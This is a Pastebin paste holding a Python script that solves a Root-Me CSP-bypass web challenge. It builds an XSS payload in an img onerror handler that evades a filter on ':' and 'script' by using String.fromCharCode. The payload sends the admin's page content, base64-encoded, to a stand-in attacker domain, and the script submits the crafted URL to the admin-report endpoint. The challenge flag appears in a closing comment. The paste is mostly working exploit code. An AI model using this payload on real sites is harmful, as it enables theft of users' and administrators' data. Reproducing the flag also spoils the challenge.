ghost423543

csp: script-src 'unsafe-inline' bypass

Feb 21st, 2021 (edited)
614
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.73 KB | None | 0 0
  1. from urllib.parse import quote_plus, urljoin, urlparse, quote, unquote, unquote_to_bytes, quote_from_bytes
  2. import requests
  3. headers = {
  4. 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  5. # Accept-Encoding: gzip, deflate
  6. 'Accept-Language': 'en-US,en;q=0.9',
  7. 'Cache-Control': 'no-cache',
  8. # Connection: keep-alive
  9. # Host: challenge01.root-me.org
  10. 'Pragma': 'no-cache',
  11. 'Upgrade-Insecure-Requests': '1',
  12. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36',
  13. }
  14. def debug(resp):
  15.     print(resp.__dict__)
  16.  
  17. def create_form(user,debug_=False):
  18.     global headers
  19.     url = 'http://challenge01.root-me.org/web-client/ch8/page'
  20.     resp = requests.request("GET",url=url,params={'user':user},headers=headers)
  21.     if debug_:debug(resp)
  22.     return resp
  23.  
  24. def report_admin(url,debug_=False):
  25.     global headers
  26.     url_admin = 'http://challenge01.root-me.org/web-client/ch8/report' ## post url
  27.     resp = requests.request("POST",url_admin,data={"url":url},headers=headers)
  28.     if debug_:debug(resp)
  29.     return resp
  30.  
  31. if __name__=='__main__':
  32.     ## <img src=x onerror='alert(1)'>
  33.     ## black list ':', 'script'
  34.     domain_hacker = 'hacker_domain'
  35.     craft = f'''<img src=x onerror="document.location=('htt'.concat(String.fromCharCode(112,115,58,47,47)).concat('{domain_hacker}/?c=').concat(escape(btoa(document.body.innerHTML))))">'''
  36.     # craft = f'''<img src=x onerror="document.location=('//{domain_hacker}?c='+window.btoa(document.getElementsByClassName("message")[0].innerHTML)>'''
  37.     resp = create_form(craft)
  38.     url = unquote(resp.url)
  39.     print(url)
  40.     print(report_admin(url).text)
  41.     ## CSP_34SY_T0_BYP4S_W1TH_SCR1PT
Add Comment
Please, Sign In to add comment